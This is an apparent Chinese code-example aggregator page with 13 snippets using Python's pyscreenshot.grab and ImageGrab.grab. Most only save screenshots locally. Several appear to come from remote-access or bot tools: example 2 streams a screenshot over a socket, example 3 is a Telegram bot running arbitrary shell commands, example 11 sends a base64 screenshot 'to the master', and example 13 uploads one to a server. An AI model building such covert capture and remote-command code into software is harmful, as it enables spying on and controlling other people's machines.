本文整理匯總了Python中pyscreenshot.grab方法的典型用法代碼示例。如果您正苦於以下問題:Python pyscreenshot.grab方法的具體用法?Python pyscreenshot.grab怎麽用?Python pyscreenshot.grab使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類pyscreenshot
的用法示例。
在下文中一共展示了pyscreenshot.grab方法的13個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: _capFrame
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def _capFrame(self):
img = grab(self.bbox)
return np.array(img)
示例2: screenshot
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot(s):
name = tempdir + '/screenshot'+str(random.randint(0,1000000)) + '.png'
if(os.name == 'posix'): # se for unix-like
img = pyscreenshot.grab()
img.save(name)
elif(os.name == 'nt'): # se for windows
img = ImageGrab.grab()
img.save(name)
with open(name ,'rb') as f:
l = f.read(1024)
l = name + '+/-' + l
while(l):
s.send(l)
l = f.read(1024)
print('sent')
s.shutdown(socket.SHUT_WR)
os.remove(name)
示例3: exec_command
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def exec_command(update, context):
command_text = update.message.text
if(update.effective_chat.id in permitted_users):
if(command_text[0] == "/"):
if command_text == "/screenshot":
filename = screenshot_location + "screenshot_%s.png" % str(update.effective_chat.id)
logging.info("Sending screenshot")
im = ImageGrab.grab()
im.save(filename)
photo = open(filename,'rb')
context.bot.send_photo(update.effective_chat.id,photo)
else:
command = command_text.split()
try:
output = subprocess.check_output(command, cwd= curr_dir).decode('utf-8')
logging.info("%s: %s", command, output)
if output:
context.bot.send_message(chat_id=update.effective_chat.id, text=output)
else:
context.bot.send_message(chat_id=update.effective_chat.id, text=update.message.text)
except Exception as e:
context.bot.send_message(chat_id=update.effective_chat.id, text=str(e))
else:
context.bot.send_message(chat_id=update.effective_chat.id, text="You don't have permission to use this bot!")
示例4: mss_grab
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def mss_grab(bbox):
sct_img = sct.grab(monitor)
img = Image.frombytes('RGBA', sct_img.size, bytes(sct_img.raw), 'raw', 'BGRA').crop(bbox)
img = img.convert('RGB')
return img
示例5: main
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def main(output_dir, interval, total):
i = 0
while True:
i += 1
time.sleep(interval)
image = pyscreenshot.grab()
output = os.path.join(output_dir, "screenshot_{}.png").format(i)
image.save(output)
print("[+] Took screenshot {} and saved it to {}".format(
i, output_dir))
if total is not None and i == total:
print("[+] Finished taking {} screenshots every {} "
"seconds".format(total, interval))
sys.exit(0)
示例6: capture_display
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def capture_display(file_path):
""" Capture whole display to file ``file_path``
*Notes*: This keyword saves the whole virtual screen(monitor), while the
familiar WebApp.`Screenshot Capture` only saves the portion of the web
browser. But in contrast, the WebApp.`Screenshot Capture` could do `fullpage
capture` depending on the content of the browser.
"""
pyscreenshot.grab(childprocess=True).save(file_path)
BuiltIn().log("Saved current display to file `%s`" % file_path)
示例7: get_screenshot_linux_1
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def get_screenshot_linux_1():
'''
不支持預選定area
'''
im = pyscreenshot.grab()
示例8: get_screenshot_windows
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def get_screenshot_windows():
img = ImageGrab.grab([100, 100, 400, 400])
示例9: grab_whole_screen_to
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def grab_whole_screen_to(file_path):
img = ImageGrab.grab()
img.save(file_path)
示例10: grab_screen_area_to
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def grab_screen_area_to(left, upper, right, bottom, file_path):
img = ImageGrab.grab(bbox=(left, upper, right, bottom))
img.save(file_path)
示例11: screenshot
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot():
"""Takes a screenshot of bot's monitors and sends it to the master.\n"""
buffer = BytesIO()
try:
im = ImageGrab.grab()
im.save(buffer, format='PNG')
im.close()
b64_str = str(b64encode(buffer.getvalue()))
sender(b64_str[2:-1])
except Exception as exception:
sender('reachedexcept')
sender(str(exception))
# TODO: Test on Windows
示例12: screenshot
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot(self, bbox=(566, 220, 968, 823)):
return pyscreenshot.grab(bbox=bbox)
示例13: screenshot
# 需要導入模塊: import pyscreenshot [as 別名]
# 或者: from pyscreenshot import grab [as 別名]
def screenshot(self):
""" Takes a screenshot and uploads it to the server"""
screenshot = ImageGrab.grab()
tmp_file = tempfile.NamedTemporaryFile()
screenshot_file = tmp_file.name + ".png"
tmp_file.close()
screenshot.save(screenshot_file)
self.upload(screenshot_file)